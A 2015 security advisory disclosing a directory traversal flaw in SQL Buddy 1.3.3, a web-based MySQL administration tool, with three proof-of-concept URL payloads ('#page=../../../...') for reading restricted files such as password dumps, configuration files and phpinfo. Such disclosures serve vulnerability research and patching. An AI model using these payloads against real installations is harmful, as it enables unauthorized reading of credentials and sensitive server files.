Sqlbuddy Directory Traversal Read Arbitrary Files Vulnerability

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Sqlbuddy Directory Traversal Read Arbitrary Files Vulnerability.

Vendor:
http://www.sqlbuddy.com

Release Date:
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05-08-2015

Source:
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http://hyp3rlinx.altervista.org/advisories/AS-SQLBUDDY0508.txt


Product:
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sqlbuddy version 1.3.3 SQL Buddy is an open source web based MySQL 
administration application.


Advisory Information:
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sqlbuddy suffers from directory traversal whereby a user can move about 
directories an read any PHP and non PHP files by appending
the '#' hash character when requesting files via URLs.

e.g. .doc, .txt, .xml, .conf, .sql etc...

After adding the '#' character as a delimiter any non PHP will be returned and 
rendered by subverting the .php concatenation used
by sqlbuddy when requesting PHP pages via POST method.

Normal sqlbuddy request:
http://localhost/sqlbuddy/home.php?ajaxRequest=666&requestKey=<xxxxxxxxxx>


POC exploit payloads:
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1-Read from Apache restricted directory under htdocs:
  http://localhost/sqlbuddy/#page=../../../restricted/user_pwd.sql#

2-Read any arbitrary files that do not have .PHP extensions:
  http://localhost/sqlbuddy/#page=../../../directory/sensitive-file.conf#

3-Read phpinfo (no need for '#' as phpinfo is a PHP file):
  http://localhost/sectest/sqlbuddy/sqlbuddy/#page=../../../../xampp/phpinfo


Disclosure Timeline:
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Vendor Notification  N/A
May 8, 2015: Public Disclosure - hyp3rlinx


Exploitation Technique:
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Create a test file with non .php extension in some htdocs directory then 
request the page in the browser.
http://localhost/sqlbuddy/sqlbuddy/#page=../../../test.txt#


Severity Level:
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High


Description:
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Request Method(s):
                                [+] POST

Vulnerable Product:
                                [+] sqlbuddy 1.3.3

Vulnerable Parameter(s):
                                [+] #page=somefile

Affected Area(s):
                                [+] Server directories & sensitive files


Solution - Fix & Patch:
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N/A


Credits: John Page ( hyp3rlinx )


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